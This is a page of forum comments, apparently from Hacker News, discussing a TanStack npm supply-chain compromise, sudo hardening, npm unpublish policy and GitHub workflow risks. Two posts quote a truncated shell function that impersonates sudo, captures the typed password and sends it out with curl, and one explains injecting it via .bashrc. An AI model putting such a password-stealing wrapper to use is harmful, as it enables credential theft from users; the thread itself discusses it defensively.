Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

211–220 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#211
post #179

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

> Sudo is security theater.

Yes indeed.

> Malware can make a fake unprivileged sudo that sniffs your password.

Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.

Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).

It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).

Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.

That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.

I did set that up just because I could. Turns out it's fully usable so I kept using it.

Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.

Re: Postmortem: TanStack NPM supply-chain compromise

#212
post #193
post #191

Earlier quoted context omitted.

To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?

This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack. Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

That is one of many reasons to keep your dotfiles under version control.

Re: Postmortem: TanStack NPM supply-chain compromise

#213
post #78
post #56

Earlier quoted context omitted.

Wild claim that setting the minimum age to 7 days will result in me "never" getting a supply chain npm vuln.

In this case it would have, because the compromised packages were pulled within 3 hours.

you are betting that the package is popular, has enough eyes to mitigate attack in 7 days. attackers could also target unpopular packages for long game

Re: Postmortem: TanStack NPM supply-chain compromise

#214
post #167

Am I understanding this attack vector correctly: Did tanstack have anything misconfigured on their github or make any mistakes that led to this happening? This is the second time, at least, the github actions cache has been seemingly detrimental to massive and widespread supply chain compromise; what is going on over there?

The fundamental mistake here seems to have been not fully understanding the threat model of the pull_request_target action trigger. pull_request_target jobs run in response to various events related to a pull request opened against your repo from a fork (e.g, someone opens a new PR or updates an existing one). Unlike pull_request jobs, which are read-only by default, pull_request_target jobs have read/write permissio…

From a GitHub product owner POV, if the architecture is not to be changed, what is the solution?

A big ugly warning in the UI?

Or, push back on the architecture?

Or, is threatening a big ugly warning in the UI actually pushing back on the architecture?

Re: Postmortem: TanStack NPM supply-chain compromise

#215
post #193

Earlier quoted context omitted.

This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack. Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

That is one of many reasons to keep your dotfiles under version control.

How would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.

Re: Postmortem: TanStack NPM supply-chain compromise

#216
post #201

> Unpublish was unavailable for nearly all affected packages because of npm's "no unpublish if dependents exist" policy. We have to rely on npm security to pull tarballs server-side, which adds hours of delay during which malicious tarballs remain installable Per https://docs.npmjs.com/policies/unpublish : > If your package does not meet the unpublish policy criteria, we recommend deprecating the package. This allows…

The baffling part is why it takes hours for the npm security team to unpublish packages that contain malware, as attested by multiple independent sources? That should be able to happen in minutes.

Who vets the sources, and using what scheme?

Re: Postmortem: TanStack NPM supply-chain compromise

#217
post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…

Thanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!

Re: Postmortem: TanStack NPM supply-chain compromise

#218
post #201

> Unpublish was unavailable for nearly all affected packages because of npm's "no unpublish if dependents exist" policy. We have to rely on npm security to pull tarballs server-side, which adds hours of delay during which malicious tarballs remain installable Per https://docs.npmjs.com/policies/unpublish : > If your package does not meet the unpublish policy criteria, we recommend deprecating the package. This allows…

I do not envy the position the npm team are in. They removed the ability to unpublish packages as a response to the left-pad incident[1] because it wasn't desirable for individual developers to break downstream dependencies by pulling their package maliciously. Of course the side effect is that now it's much harder to pull packages for legitimate reasons :/ [1] https://en.wikipedia.org/wiki/Npm_left-pad_incident

I mean they brought that incident on themselves...

Re: Postmortem: TanStack NPM supply-chain compromise

#219

Earlier quoted context omitted.

Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"

I have noticed this behaviour happening more often too, it's very confusing. Usually when texting with younger Gen Z people.

This has always been happening

Re: Postmortem: TanStack NPM supply-chain compromise

#220

Earlier quoted context omitted.

I'd like to have touch to sign from a YubiKey or similar. The whole idea of trusting the cloud to manage credentials on your behalf seems like a mistake.

”TanStack maintainer Tanner Linsley said the attacker used an orphaned commit to gain access to the workflow run that stores the OIDC token, effectively bypassing the project’s existing publishing protections. He noted that two-factor authentication is enabled for everyone on the team”

github holding on to orphaned commits has been a noted issue for a while now
Post reply on HN